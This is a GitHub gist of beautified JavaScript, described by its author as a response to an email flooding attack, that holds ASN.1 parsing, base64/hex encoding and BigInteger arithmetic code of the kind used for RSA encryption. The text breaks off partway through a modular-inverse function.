Last active
January 25, 2024 12:14
-
-
Save sharpicx/17850a5679bd4e72967b8f6710a0e8ce to your computer and use it in GitHub Desktop.
i got email flooding attack, so i decided to build this script.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function Si(e) { | |
return "0123456789abcdefghijklmnopqrstuvwxyz".charAt(e); | |
} | |
function Pi(e, t) { | |
return e & t; | |
} | |
function Ei(e, t) { | |
return e | t; | |
} | |
function Ni(e, t) { | |
return e ^ t; | |
} | |
function Ii(e, t) { | |
return e & ~t; | |
} | |
function Oi(e) { | |
if (e == 0) { | |
return -1; | |
} | |
var t = 0; | |
if ((65535 & e) == 0) { | |
e >>= 16; | |
t += 16; | |
} | |
if ((255 & e) == 0) { | |
e >>= 8; | |
t += 8; | |
} | |
if ((15 & e) == 0) { | |
e >>= 4; | |
t += 4; | |
} | |
if ((3 & e) == 0) { | |
e >>= 2; | |
t += 2; | |
} | |
if ((1 & e) == 0) { | |
++t; | |
} | |
return t; | |
} | |
function Ti(e) { | |
for (var t = 0; e != 0;) { | |
e &= e - 1; | |
++t; | |
} | |
return t; | |
} | |
var Li; | |
var Fi = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; | |
function Ri(e) { | |
var n; | |
var r = ""; | |
for (var t = 0; t + 3 <= e.length; t += 3) { | |
n = parseInt(e.substring(t, t + 3), 16); | |
r += Fi.charAt(n >> 6) + Fi.charAt(63 & n); | |
} | |
for (t + 1 == e.length ? (n = parseInt(e.substring(t, t + 1), 16), r += Fi.charAt(n << 2)) : t + 2 == e.length && (n = parseInt(e.substring(t, t + 2), 16), r += Fi.charAt(n >> 2) + Fi.charAt((3 & n) << 4)); (3 & r.length) > 0;) { | |
r += "="; | |
} | |
return r; | |
} | |
function Mi(e) { | |
var n = ""; | |
var r = 0; | |
var a = 0; | |
for (var t = 0; t < e.length && e.charAt(t) != "="; ++t) { | |
var i = Fi.indexOf(e.charAt(t)); | |
if (!(i < 0)) { | |
if (r == 0) { | |
n += Si(i >> 2); | |
a = 3 & i; | |
r = 1; | |
} else if (r == 1) { | |
n += Si(a << 2 | i >> 4); | |
a = 15 & i; | |
r = 2; | |
} else if (r == 2) { | |
n += Si(a); | |
n += Si(i >> 2); | |
a = 3 & i; | |
r = 3; | |
} else { | |
n += Si(a << 2 | i >> 4); | |
n += Si(15 & i); | |
r = 0; | |
} | |
} | |
} | |
if (r == 1) { | |
n += Si(a << 2); | |
} | |
return n; | |
} | |
var Hi; | |
var Ki = function (e) { | |
var t; | |
if (Li === void 0) { | |
var n = "0123456789ABCDEF"; | |
var r = " \x0C\n\r\x09\xA0\u2028\u2029"; | |
Li = {}; | |
for (t = 0; t < 16; ++t) { | |
Li[n.charAt(t)] = t; | |
} | |
n = n.toLowerCase(); | |
for (t = 10; t < 16; ++t) { | |
Li[n.charAt(t)] = t; | |
} | |
for (t = 0; t < r.length; ++t) { | |
Li[r.charAt(t)] = -1; | |
} | |
} | |
var a = []; | |
var i = 0; | |
var o = 0; | |
for (t = 0; t < e.length; ++t) { | |
var l = e.charAt(t); | |
if (l == "=") { | |
break; | |
} | |
if ((l = Li[l]) != -1) { | |
if (l === void 0) { | |
throw new Error("Illegal character at offset " + t); | |
} | |
i |= l; | |
if (++o >= 2) { | |
a[a.length] = i; | |
i = 0; | |
o = 0; | |
} else { | |
i <<= 4; | |
} | |
} | |
} | |
if (o) { | |
throw new Error("Hex encoding incomplete: 4 bits missing"); | |
} | |
return a; | |
}; | |
var Gi = {decode: function (e) { | |
var t; | |
if (Hi === void 0) { | |
var n = "= \x0C\n\r\x09\xA0\u2028\u2029"; | |
Hi = Object.create(null); | |
for (t = 0; t < 64; ++t) { | |
Hi["ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".charAt(t)] = t; | |
} | |
Hi["-"] = 62; | |
Hi._ = 63; | |
for (t = 0; t < n.length; ++t) { | |
Hi[n.charAt(t)] = -1; | |
} | |
} | |
var r = []; | |
var a = 0; | |
var i = 0; | |
for (t = 0; t < e.length; ++t) { | |
var o = e.charAt(t); | |
if (o == "=") { | |
break; | |
} | |
if ((o = Hi[o]) != -1) { | |
if (o === void 0) { | |
throw new Error("Illegal character at offset " + t); | |
} | |
a |= o; | |
if (++i >= 4) { | |
r[r.length] = a >> 16; | |
r[r.length] = a >> 8 & 255; | |
r[r.length] = 255 & a; | |
a = 0; | |
i = 0; | |
} else { | |
a <<= 6; | |
} | |
} | |
} | |
switch (i) { | |
case 1: | |
throw new Error("Base64 encoding incomplete: at least 2 bits missing"); | |
case 2: | |
r[r.length] = a >> 10; | |
break; | |
case 3: | |
r[r.length] = a >> 16; | |
r[r.length] = a >> 8 & 255; | |
} | |
return r; | |
}, re: /-----BEGIN [^-]+-----([A-Za-z0-9+\/=\s]+)-----END [^-]+-----|begin-base64[^\n]+\n([A-Za-z0-9+\/=\s]+)====/, unarmor: function (e) { | |
var t = Gi.re.exec(e); | |
if (t) { | |
if (t[1]) { | |
e = t[1]; | |
} else { | |
if (!t[2]) { | |
throw new Error("RegExp out of sync"); | |
} | |
e = t[2]; | |
} | |
} | |
return Gi.decode(e); | |
}}; | |
var Ui = 1e13; | |
var Ji = function () { | |
function e(e) { | |
this.buf = [+e || 0]; | |
} | |
e.prototype.mulAdd = function (e, t) { | |
var r; | |
var a = this.buf; | |
var i = a.length; | |
for (var n = 0; n < i; ++n) { | |
if ((r = a[n] * e + t) < Ui) { | |
t = 0; | |
} else { | |
r -= (t = 0 | r / Ui) * Ui; | |
} | |
a[n] = r; | |
} | |
if (t > 0) { | |
a[n] = t; | |
} | |
}; | |
e.prototype.sub = function (e) { | |
var n; | |
var r = this.buf; | |
var a = r.length; | |
for (var t = 0; t < a; ++t) { | |
if ((n = r[t] - e) < 0) { | |
n += Ui; | |
e = 1; | |
} else { | |
e = 0; | |
} | |
r[t] = n; | |
} | |
while (r[r.length - 1] === 0) { | |
r.pop(); | |
} | |
}; | |
e.prototype.toString = function (e) { | |
if ((e || 10) != 10) { | |
throw new Error("only base 10 is supported"); | |
} | |
var t = this.buf; | |
var n = t[t.length - 1].toString(); | |
for (var r = t.length - 2; r >= 0; --r) { | |
n += (Ui + t[r]).toString().substring(1); | |
} | |
return n; | |
}; | |
e.prototype.valueOf = function () { | |
var e = this.buf; | |
var t = 0; | |
for (var n = e.length - 1; n >= 0; --n) { | |
t = t * Ui + e[n]; | |
} | |
return t; | |
}; | |
e.prototype.simplify = function () { | |
var e = this.buf; | |
if (e.length == 1) { | |
return e[0]; | |
} else { | |
return this; | |
} | |
}; | |
return e; | |
}(); | |
var Vi = /^(\d\d)(0[1-9]|1[0-2])(0[1-9]|[12]\d|3[01])([01]\d|2[0-3])(?:([0-5]\d)(?:([0-5]\d)(?:[.,](\d{1,3}))?)?)?(Z|[-+](?:[0]\d|1[0-2])([0-5]\d)?)?$/; | |
var zi = /^(\d\d\d\d)(0[1-9]|1[0-2])(0[1-9]|[12]\d|3[01])([01]\d|2[0-3])(?:([0-5]\d)(?:([0-5]\d)(?:[.,](\d{1,3}))?)?)?(Z|[-+](?:[0]\d|1[0-2])([0-5]\d)?)?$/; | |
function Wi(e, t) { | |
if (e.length > t) { | |
e = e.substring(0, t) + "\u2026"; | |
} | |
return e; | |
} | |
var Zi; | |
var Yi = function () { | |
function e(t, n) { | |
this.hexDigits = "0123456789ABCDEF"; | |
if (t instanceof e) { | |
this.enc = t.enc; | |
this.pos = t.pos; | |
} else { | |
this.enc = t; | |
this.pos = n; | |
} | |
} | |
e.prototype.get = function (e) { | |
if (e === void 0) { | |
e = this.pos++; | |
} | |
if (e >= this.enc.length) { | |
throw new Error("Requesting byte offset " + e + " on a stream of length " + this.enc.length); | |
} | |
if (typeof this.enc === "string") { | |
return this.enc.charCodeAt(e); | |
} else { | |
return this.enc[e]; | |
} | |
}; | |
e.prototype.hexByte = function (e) { | |
return this.hexDigits.charAt(e >> 4 & 15) + this.hexDigits.charAt(15 & e); | |
}; | |
e.prototype.hexDump = function (e, t, n) { | |
var r = ""; | |
for (var a = e; a < t; ++a) { | |
r += this.hexByte(this.get(a)); | |
if (n !== true) { | |
switch (15 & a) { | |
case 7: | |
r += " "; | |
break; | |
case 15: | |
r += "\n"; | |
break; | |
default: | |
r += " "; | |
} | |
} | |
} | |
return r; | |
}; | |
e.prototype.isASCII = function (e, t) { | |
for (var n = e; n < t; ++n) { | |
var r = this.get(n); | |
if (r < 32 || r > 176) { | |
return false; | |
} | |
} | |
return true; | |
}; | |
e.prototype.parseStringISO = function (e, t) { | |
var n = ""; | |
for (var r = e; r < t; ++r) { | |
n += String.fromCharCode(this.get(r)); | |
} | |
return n; | |
}; | |
e.prototype.parseStringUTF = function (e, t) { | |
var n = ""; | |
for (var r = e; r < t;) { | |
var a = this.get(r++); | |
n += a < 128 ? String.fromCharCode(a) : a > 191 && a < 224 ? String.fromCharCode((31 & a) << 6 | 63 & this.get(r++)) : String.fromCharCode((15 & a) << 12 | (63 & this.get(r++)) << 6 | 63 & this.get(r++)); | |
} | |
return n; | |
}; | |
e.prototype.parseStringBMP = function (e, t) { | |
var n; | |
var r; | |
var a = ""; | |
for (var i = e; i < t;) { | |
n = this.get(i++); | |
r = this.get(i++); | |
a += String.fromCharCode(n << 8 | r); | |
} | |
return a; | |
}; | |
e.prototype.parseTime = function (e, t, n) { | |
var r = this.parseStringISO(e, t); | |
var a = (n ? Vi : zi).exec(r); | |
if (a) { | |
if (n) { | |
a[1] = +a[1]; | |
a[1] += +a[1] < 70 ? 2e3 : 1900; | |
} | |
r = a[1] + "-" + a[2] + "-" + a[3] + " " + a[4]; | |
if (a[5]) { | |
r += ":" + a[5]; | |
if (a[6]) { | |
r += ":" + a[6]; | |
if (a[7]) { | |
r += "." + a[7]; | |
} | |
} | |
} | |
if (a[8]) { | |
r += " UTC"; | |
if (a[8] != "Z") { | |
r += a[8]; | |
if (a[9]) { | |
r += ":" + a[9]; | |
} | |
} | |
} | |
return r; | |
} else { | |
return "Unrecognized time: " + r; | |
} | |
}; | |
e.prototype.parseInteger = function (e, t) { | |
var n; | |
var r = this.get(e); | |
var a = r > 127; | |
var i = a ? 255 : 0; | |
for (var o = ""; r == i && ++e < t;) { | |
r = this.get(e); | |
} | |
if ((n = t - e) === 0) { | |
if (a) { | |
return -1; | |
} else { | |
return 0; | |
} | |
} | |
if (n > 4) { | |
o = r; | |
for (n <<= 3; (128 & (+o ^ i)) == 0;) { | |
o = +o << 1; | |
--n; | |
} | |
o = "(" + n + " bit)\n"; | |
} | |
if (a) { | |
r -= 256; | |
} | |
var l = new Ji(r); | |
for (var s = e + 1; s < t; ++s) { | |
l.mulAdd(256, this.get(s)); | |
} | |
return o + l.toString(); | |
}; | |
e.prototype.parseBitString = function (e, t, n) { | |
var r = this.get(e); | |
var a = "(" + ((t - e - 1 << 3) - r) + " bit)\n"; | |
var i = ""; | |
for (var o = e + 1; o < t; ++o) { | |
var l = this.get(o); | |
var s = o == t - 1 ? r : 0; | |
for (var B = 7; B >= s; --B) { | |
i += l >> B & 1 ? "1" : "0"; | |
} | |
if (i.length > n) { | |
return a + Wi(i, n); | |
} | |
} | |
return a + i; | |
}; | |
e.prototype.parseOctetString = function (e, t, n) { | |
if (this.isASCII(e, t)) { | |
return Wi(this.parseStringISO(e, t), n); | |
} | |
var r = t - e; | |
var a = "(" + r + " byte)\n"; | |
if (r > (n /= 2)) { | |
t = e + n; | |
} | |
for (var i = e; i < t; ++i) { | |
a += this.hexByte(this.get(i)); | |
} | |
if (r > n) { | |
a += "\u2026"; | |
} | |
return a; | |
}; | |
e.prototype.parseOID = function (e, t, n) { | |
var r = ""; | |
var a = new Ji; | |
var i = 0; | |
for (var o = e; o < t; ++o) { | |
var l = this.get(o); | |
a.mulAdd(128, 127 & l); | |
i += 7; | |
if (!(128 & l)) { | |
if (r === "") { | |
if ((a = a.simplify()) instanceof Ji) { | |
a.sub(80); | |
r = "2." + a.toString(); | |
} else { | |
var s = a < 80 ? a < 40 ? 0 : 1 : 2; | |
r = s + "." + (a - 40 * s); | |
} | |
} else { | |
r += "." + a.toString(); | |
} | |
if (r.length > n) { | |
return Wi(r, n); | |
} | |
a = new Ji; | |
i = 0; | |
} | |
} | |
if (i > 0) { | |
r += ".incomplete"; | |
} | |
return r; | |
}; | |
return e; | |
}(); | |
var qi = function () { | |
function e(e, t, n, r, a) { | |
if (!(r instanceof Qi)) { | |
throw new Error("Invalid tag value."); | |
} | |
this.stream = e; | |
this.header = t; | |
this.length = n; | |
this.tag = r; | |
this.sub = a; | |
} | |
e.prototype.typeName = function () { | |
switch (this.tag.tagClass) { | |
case 0: | |
switch (this.tag.tagNumber) { | |
case 0: | |
return "EOC"; | |
case 1: | |
return "BOOLEAN"; | |
case 2: | |
return "INTEGER"; | |
case 3: | |
return "BIT_STRING"; | |
case 4: | |
return "OCTET_STRING"; | |
case 5: | |
return "NULL"; | |
case 6: | |
return "OBJECT_IDENTIFIER"; | |
case 7: | |
return "ObjectDescriptor"; | |
case 8: | |
return "EXTERNAL"; | |
case 9: | |
return "REAL"; | |
case 10: | |
return "ENUMERATED"; | |
case 11: | |
return "EMBEDDED_PDV"; | |
case 12: | |
return "UTF8String"; | |
case 16: | |
return "SEQUENCE"; | |
case 17: | |
return "SET"; | |
case 18: | |
return "NumericString"; | |
case 19: | |
return "PrintableString"; | |
case 20: | |
return "TeletexString"; | |
case 21: | |
return "VideotexString"; | |
case 22: | |
return "IA5String"; | |
case 23: | |
return "UTCTime"; | |
case 24: | |
return "GeneralizedTime"; | |
case 25: | |
return "GraphicString"; | |
case 26: | |
return "VisibleString"; | |
case 27: | |
return "GeneralString"; | |
case 28: | |
return "UniversalString"; | |
case 30: | |
return "BMPString"; | |
} | |
return "Universal_" + this.tag.tagNumber.toString(); | |
case 1: | |
return "Application_" + this.tag.tagNumber.toString(); | |
case 2: | |
return "[" + this.tag.tagNumber.toString() + "]"; | |
case 3: | |
return "Private_" + this.tag.tagNumber.toString(); | |
} | |
}; | |
e.prototype.content = function (e) { | |
if (this.tag === void 0) { | |
return null; | |
} | |
if (e === void 0) { | |
e = 1 / 0; | |
} | |
var t = this.posContent(); | |
var n = Math.abs(this.length); | |
if (!this.tag.isUniversal()) { | |
if (this.sub === null) { | |
return this.stream.parseOctetString(t, t + n, e); | |
} else { | |
return "(" + this.sub.length + " elem)"; | |
} | |
} | |
switch (this.tag.tagNumber) { | |
case 1: | |
if (this.stream.get(t) === 0) { | |
return "false"; | |
} else { | |
return "true"; | |
} | |
case 2: | |
return this.stream.parseInteger(t, t + n); | |
case 3: | |
if (this.sub) { | |
return "(" + this.sub.length + " elem)"; | |
} else { | |
return this.stream.parseBitString(t, t + n, e); | |
} | |
case 4: | |
if (this.sub) { | |
return "(" + this.sub.length + " elem)"; | |
} else { | |
return this.stream.parseOctetString(t, t + n, e); | |
} | |
case 6: | |
return this.stream.parseOID(t, t + n, e); | |
case 16: | |
case 17: | |
if (this.sub === null) { | |
return "(no elem)"; | |
} else { | |
return "(" + this.sub.length + " elem)"; | |
} | |
case 12: | |
return Wi(this.stream.parseStringUTF(t, t + n), e); | |
case 18: | |
case 19: | |
case 20: | |
case 21: | |
case 22: | |
case 26: | |
return Wi(this.stream.parseStringISO(t, t + n), e); | |
case 30: | |
return Wi(this.stream.parseStringBMP(t, t + n), e); | |
case 23: | |
case 24: | |
return this.stream.parseTime(t, t + n, this.tag.tagNumber == 23); | |
} | |
return null; | |
}; | |
e.prototype.toString = function () { | |
return this.typeName() + "@" + this.stream.pos + "[header:" + this.header + ",length:" + this.length + ",sub:" + (this.sub === null ? "null" : this.sub.length) + "]"; | |
}; | |
e.prototype.toPrettyString = function (e) { | |
if (e === void 0) { | |
e = ""; | |
} | |
var t = e + this.typeName() + " @" + this.stream.pos; | |
if (this.length >= 0) { | |
t += "+"; | |
} | |
t += this.length; | |
if (this.tag.tagConstructed) { | |
t += " (constructed)"; | |
} else if (!!this.tag.isUniversal() && (this.tag.tagNumber == 3 || this.tag.tagNumber == 4) && this.sub !== null) { | |
t += " (encapsulates)"; | |
} | |
t += "\n"; | |
if (this.sub !== null) { | |
e += " "; | |
var n = 0; | |
for (var r = this.sub.length; n < r; ++n) { | |
t += this.sub[n].toPrettyString(e); | |
} | |
} | |
return t; | |
}; | |
e.prototype.posStart = function () { | |
return this.stream.pos; | |
}; | |
e.prototype.posContent = function () { | |
return this.stream.pos + this.header; | |
}; | |
e.prototype.posEnd = function () { | |
return this.stream.pos + this.header + Math.abs(this.length); | |
}; | |
e.prototype.toHexString = function () { | |
return this.stream.hexDump(this.posStart(), this.posEnd(), true); | |
}; | |
e.decodeLength = function (e) { | |
var t = e.get(); | |
var n = 127 & t; | |
if (n == t) { | |
return n; | |
} | |
if (n > 6) { | |
throw new Error("Length over 48 bits not supported at position " + (e.pos - 1)); | |
} | |
if (n === 0) { | |
return null; | |
} | |
t = 0; | |
for (var r = 0; r < n; ++r) { | |
t = 256 * t + e.get(); | |
} | |
return t; | |
}; | |
e.prototype.getHexStringValue = function () { | |
var e = this.toHexString(); | |
var t = 2 * this.header; | |
var n = 2 * this.length; | |
return e.substr(t, n); | |
}; | |
e.decode = function (t) { | |
var n = t instanceof Yi ? t : new Yi(t, 0); | |
var r = new Yi(n); | |
var a = new Qi(n); | |
var i = e.decodeLength(n); | |
var o = n.pos; | |
var l = o - r.pos; | |
var s = null; | |
var B = function () { | |
var t = []; | |
if (i === null) { | |
try { | |
i = o - n.pos; | |
} catch (l) { | |
throw new Error("Exception while decoding undefined length content: " + l); | |
} | |
} else { | |
for (var r = o + i; n.pos < r;) { | |
t[t.length] = e.decode(n); | |
} | |
if (n.pos != r) { | |
throw new Error("Content size is not correct for container starting at offset " + o); | |
} | |
} | |
return t; | |
}; | |
if (a.tagConstructed) { | |
s = B(); | |
} else if (a.isUniversal() && (a.tagNumber == 3 || a.tagNumber == 4)) { | |
try { | |
if (a.tagNumber == 3 && n.get() != 0) { | |
throw new Error("BIT STRINGs with unused bits cannot encapsulate."); | |
} | |
s = B(); | |
for (var u = 0; u < s.length; ++u) { | |
if (s[u].tag.isEOC()) { | |
throw new Error("EOC is not supposed to be actual content."); | |
} | |
} | |
} catch (c) { | |
s = null; | |
} | |
} | |
if (s === null) { | |
if (i === null) { | |
throw new Error("We can't skip over an invalid tag with undefined length at offset " + o); | |
} | |
n.pos = o + Math.abs(i); | |
} | |
return new e(r, l, i, a, s); | |
}; | |
return e; | |
}(); | |
var Qi = function () { | |
function e(e) { | |
var t = e.get(); | |
this.tagClass = t >> 6; | |
this.tagConstructed = (32 & t) !== 0; | |
this.tagNumber = 31 & t; | |
if (this.tagNumber == 31) { | |
var n = new Ji; | |
do { | |
t = e.get(); | |
n.mulAdd(128, 127 & t); | |
} while (128 & t); | |
this.tagNumber = n.simplify(); | |
} | |
} | |
e.prototype.isUniversal = function () { | |
return this.tagClass === 0; | |
}; | |
e.prototype.isEOC = function () { | |
return this.tagClass === 0 && this.tagNumber === 0; | |
}; | |
return e; | |
}(); | |
var Xi = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251, 257, 263, 269, 271, 277, 281, 283, 293, 307, 311, 313, 317, 331, 337, 347, 349, 353, 359, 367, 373, 379, 383, 389, 397, 401, 409, 419, 421, 431, 433, 439, 443, 449, 457, 461, 463, 467, 479, 487, 491, 499, 503, 509, 521, 523, 541, 547, 557, 563, 569, 571, 577, 587, 593, 599, 601, 607, 613, 617, 619, 631, 641, 643, 647, 653, 659, 661, 673, 677, 683, 691, 701, 709, 719, 727, 733, 739, 743, 751, 757, 761, 769, 773, 787, 797, 809, 811, 821, 823, 827, 829, 839, 853, 857, 859, 863, 877, 881, 883, 887, 907, 911, 919, 929, 937, 941, 947, 953, 967, 971, 977, 983, 991, 997]; | |
var $i = (1 << 26) / Xi[Xi.length - 1]; | |
var eo = function () { | |
function e(e, t, n) { | |
if (e != null) { | |
if (typeof e == "number") { | |
this.fromNumber(e, t, n); | |
} else if (t == null && typeof e != "string") { | |
this.fromString(e, 256); | |
} else { | |
this.fromString(e, t); | |
} | |
} | |
} | |
e.prototype.toString = function (e) { | |
if (this.s < 0) { | |
return "-" + this.negate().toString(e); | |
} | |
var t; | |
if (e == 16) { | |
t = 4; | |
} else if (e == 8) { | |
t = 3; | |
} else if (e == 2) { | |
t = 1; | |
} else if (e == 32) { | |
t = 5; | |
} else { | |
if (e != 4) { | |
return this.toRadix(e); | |
} | |
t = 2; | |
} | |
var n; | |
var r = (1 << t) - 1; | |
var a = false; | |
var i = ""; | |
var o = this.t; | |
var l = this.DB - o * this.DB % t; | |
if (o-- > 0) { | |
for (l < this.DB && (n = this[o] >> l) > 0 && (a = true, i = Si(n)); o >= 0;) { | |
if (l < t) { | |
n = (this[o] & (1 << l) - 1) << t - l; | |
n |= this[--o] >> (l += this.DB - t); | |
} else { | |
n = this[o] >> (l -= t) & r; | |
if (l <= 0) { | |
l += this.DB; | |
--o; | |
} | |
} | |
if (n > 0) { | |
a = true; | |
} | |
if (a) { | |
i += Si(n); | |
} | |
} | |
} | |
if (a) { | |
return i; | |
} else { | |
return "0"; | |
} | |
}; | |
e.prototype.negate = function () { | |
var t = io(); | |
e.ZERO.subTo(this, t); | |
return t; | |
}; | |
e.prototype.abs = function () { | |
if (this.s < 0) { | |
return this.negate(); | |
} else { | |
return this; | |
} | |
}; | |
e.prototype.compareTo = function (e) { | |
var t = this.s - e.s; | |
if (t != 0) { | |
return t; | |
} | |
var n = this.t; | |
if ((t = n - e.t) != 0) { | |
if (this.s < 0) { | |
return -t; | |
} else { | |
return t; | |
} | |
} | |
while (--n >= 0) { | |
if ((t = this[n] - e[n]) != 0) { | |
return t; | |
} | |
} | |
return 0; | |
}; | |
e.prototype.bitLength = function () { | |
if (this.t <= 0) { | |
return 0; | |
} else { | |
return this.DB * (this.t - 1) + fo(this[this.t - 1] ^ this.s & this.DM); | |
} | |
}; | |
e.prototype.mod = function (t) { | |
var n = io(); | |
this.abs().divRemTo(t, null, n); | |
if (this.s < 0 && n.compareTo(e.ZERO) > 0) { | |
t.subTo(n, n); | |
} | |
return n; | |
}; | |
e.prototype.modPowInt = function (e, t) { | |
var n = e < 256 || t.isEven() ? new no(t) : new ro(t); | |
return this.exp(e, n); | |
}; | |
e.prototype.clone = function () { | |
var e = io(); | |
this.copyTo(e); | |
return e; | |
}; | |
e.prototype.intValue = function () { | |
if (this.s < 0) { | |
if (this.t == 1) { | |
return this[0] - this.DV; | |
} | |
if (this.t == 0) { | |
return -1; | |
} | |
} else { | |
if (this.t == 1) { | |
return this[0]; | |
} | |
if (this.t == 0) { | |
return 0; | |
} | |
} | |
return (this[1] & (1 << 32 - this.DB) - 1) << this.DB | this[0]; | |
}; | |
e.prototype.byteValue = function () { | |
if (this.t == 0) { | |
return this.s; | |
} else { | |
return this[0] << 24 >> 24; | |
} | |
}; | |
e.prototype.shortValue = function () { | |
if (this.t == 0) { | |
return this.s; | |
} else { | |
return this[0] << 16 >> 16; | |
} | |
}; | |
e.prototype.signum = function () { | |
if (this.s < 0) { | |
return -1; | |
} else if (this.t <= 0 || this.t == 1 && this[0] <= 0) { | |
return 0; | |
} else { | |
return 1; | |
} | |
}; | |
e.prototype.toByteArray = function () { | |
var e = this.t; | |
var t = []; | |
t[0] = this.s; | |
var n; | |
var r = this.DB - e * this.DB % 8; | |
var a = 0; | |
if (e-- > 0) { | |
for (r < this.DB && (n = this[e] >> r) != (this.s & this.DM) >> r && (t[a++] = n | this.s << this.DB - r); e >= 0;) { | |
if (r < 8) { | |
n = (this[e] & (1 << r) - 1) << 8 - r; | |
n |= this[--e] >> (r += this.DB - 8); | |
} else { | |
n = this[e] >> (r -= 8) & 255; | |
if (r <= 0) { | |
r += this.DB; | |
--e; | |
} | |
} | |
if ((128 & n) != 0) { | |
n |= -256; | |
} | |
if (a == 0 && (128 & this.s) != (128 & n)) { | |
++a; | |
} | |
if (a > 0 || n != this.s) { | |
t[a++] = n; | |
} | |
} | |
} | |
return t; | |
}; | |
e.prototype.equals = function (e) { | |
return this.compareTo(e) == 0; | |
}; | |
e.prototype.min = function (e) { | |
if (this.compareTo(e) < 0) { | |
return this; | |
} else { | |
return e; | |
} | |
}; | |
e.prototype.max = function (e) { | |
if (this.compareTo(e) > 0) { | |
return this; | |
} else { | |
return e; | |
} | |
}; | |
e.prototype.and = function (e) { | |
var t = io(); | |
this.bitwiseTo(e, Pi, t); | |
return t; | |
}; | |
e.prototype.or = function (e) { | |
var t = io(); | |
this.bitwiseTo(e, Ei, t); | |
return t; | |
}; | |
e.prototype.xor = function (e) { | |
var t = io(); | |
this.bitwiseTo(e, Ni, t); | |
return t; | |
}; | |
e.prototype.andNot = function (e) { | |
var t = io(); | |
this.bitwiseTo(e, Ii, t); | |
return t; | |
}; | |
e.prototype.not = function () { | |
var e = io(); | |
for (var t = 0; t < this.t; ++t) { | |
e[t] = this.DM & ~this[t]; | |
} | |
e.t = this.t; | |
e.s = ~this.s; | |
return e; | |
}; | |
e.prototype.shiftLeft = function (e) { | |
var t = io(); | |
if (e < 0) { | |
this.rShiftTo(-e, t); | |
} else { | |
this.lShiftTo(e, t); | |
} | |
return t; | |
}; | |
e.prototype.shiftRight = function (e) { | |
var t = io(); | |
if (e < 0) { | |
this.lShiftTo(-e, t); | |
} else { | |
this.rShiftTo(e, t); | |
} | |
return t; | |
}; | |
e.prototype.getLowestSetBit = function () { | |
for (var e = 0; e < this.t; ++e) { | |
if (this[e] != 0) { | |
return e * this.DB + Oi(this[e]); | |
} | |
} | |
if (this.s < 0) { | |
return this.t * this.DB; | |
} else { | |
return -1; | |
} | |
}; | |
e.prototype.bitCount = function () { | |
var e = 0; | |
var t = this.s & this.DM; | |
for (var n = 0; n < this.t; ++n) { | |
e += Ti(this[n] ^ t); | |
} | |
return e; | |
}; | |
e.prototype.testBit = function (e) { | |
var t = Math.floor(e / this.DB); | |
if (t >= this.t) { | |
return this.s != 0; | |
} else { | |
return (this[t] & 1 << e % this.DB) != 0; | |
} | |
}; | |
e.prototype.setBit = function (e) { | |
return this.changeBit(e, Ei); | |
}; | |
e.prototype.clearBit = function (e) { | |
return this.changeBit(e, Ii); | |
}; | |
e.prototype.flipBit = function (e) { | |
return this.changeBit(e, Ni); | |
}; | |
e.prototype.add = function (e) { | |
var t = io(); | |
this.addTo(e, t); | |
return t; | |
}; | |
e.prototype.subtract = function (e) { | |
var t = io(); | |
this.subTo(e, t); | |
return t; | |
}; | |
e.prototype.multiply = function (e) { | |
var t = io(); | |
this.multiplyTo(e, t); | |
return t; | |
}; | |
e.prototype.divide = function (e) { | |
var t = io(); | |
this.divRemTo(e, t, null); | |
return t; | |
}; | |
e.prototype.remainder = function (e) { | |
var t = io(); | |
this.divRemTo(e, null, t); | |
return t; | |
}; | |
e.prototype.divideAndRemainder = function (e) { | |
var t = io(); | |
var n = io(); | |
this.divRemTo(e, t, n); | |
return [t, n]; | |
}; | |
e.prototype.modPow = function (e, t) { | |
var a = e.bitLength(); | |
var i = po(1); | |
if (a <= 0) { | |
return i; | |
} | |
var n = a < 18 ? 1 : a < 48 ? 3 : a < 144 ? 4 : a < 768 ? 5 : 6; | |
var r = a < 8 ? new no(t) : t.isEven() ? new ao(t) : new ro(t); | |
var o = []; | |
var l = 3; | |
var s = n - 1; | |
var B = (1 << n) - 1; | |
o[1] = r.convert(this); | |
if (n > 1) { | |
var u = io(); | |
for (r.sqrTo(o[1], u); l <= B;) { | |
o[l] = io(); | |
r.mulTo(u, o[l - 2], o[l]); | |
l += 2; | |
} | |
} | |
var c; | |
var d; | |
var p = e.t - 1; | |
var f = true; | |
var C = io(); | |
for (a = fo(e[p]) - 1; p >= 0;) { | |
if (a >= s) { | |
c = e[p] >> a - s & B; | |
} else { | |
c = (e[p] & (1 << a + 1) - 1) << s - a; | |
if (p > 0) { | |
c |= e[p - 1] >> this.DB + a - s; | |
} | |
} | |
for (l = n; (1 & c) == 0;) { | |
c >>= 1; | |
--l; | |
} | |
if ((a -= l) < 0) { | |
a += this.DB; | |
--p; | |
} | |
if (f) { | |
o[c].copyTo(i); | |
f = false; | |
} else { | |
while (l > 1) { | |
r.sqrTo(i, C); | |
r.sqrTo(C, i); | |
l -= 2; | |
} | |
if (l > 0) { | |
r.sqrTo(i, C); | |
} else { | |
d = i; | |
i = C; | |
C = d; | |
} | |
r.mulTo(C, o[c], i); | |
} | |
while (p >= 0 && (e[p] & 1 << a) == 0) { | |
r.sqrTo(i, C); | |
d = i; | |
i = C; | |
C = d; | |
if (--a < 0) { | |
a = this.DB - 1; | |
--p; | |
} | |
} | |
} | |
return r.revert(i); | |
}; | |
e.prototype.modInverse = function (t) { | |
var n = t.isEven(); | |
if (this.isEven() && n || t.signum() == 0) { | |
return e.ZERO; | |
} | |
var r = t.clone(); | |
var a = this.clone(); | |
var i = po(1); | |
var o = po(0); | |
var l = po(0); | |
for (var s = po(1); r.signum() != 0;) { | |
while (r.isEven()) { | |
r.rShiftTo(1, r); | |
if (n) { | |
if (!i.isEven() || !o.isEven()) { | |
i.addTo(this, i); | |
o.subTo(t, o); | |
} | |
i.rShiftTo(1, i); | |
} else if (!o.isEven()) { | |
o.subTo(t, o); | |
} | |
o.rShiftTo(1, o); | |
} | |
while (a.isEven()) { | |
